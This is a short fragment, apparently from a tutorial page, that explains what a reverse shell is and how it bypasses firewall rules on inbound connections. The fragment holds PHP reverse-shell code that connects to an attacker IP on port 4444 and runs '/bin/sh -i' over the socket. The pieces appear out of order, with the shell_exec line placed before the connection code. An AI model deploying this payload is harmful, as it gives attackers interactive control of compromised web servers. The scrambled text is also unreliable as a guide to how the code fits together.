// Redirect STDIN, STDOUT, STDERR to the socket shell_exec('/bin/sh -i <&3 >&3 2>&3'); ?>

What is a Reverse Shell? A reverse shell is a type of shell session where the target machine initiates a connection back to an attacker's machine. Unlike a "bind shell" (where the target opens a listening port), a reverse shell bypasses common firewall rules that block inbound connections but allow outbound traffic.

<?php set_time_limit(0); $ip = '192.168.1.100'; // Attacker's IP $port = 4444; // Attacker's port $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) die("Error: $errstr ($errno)\n");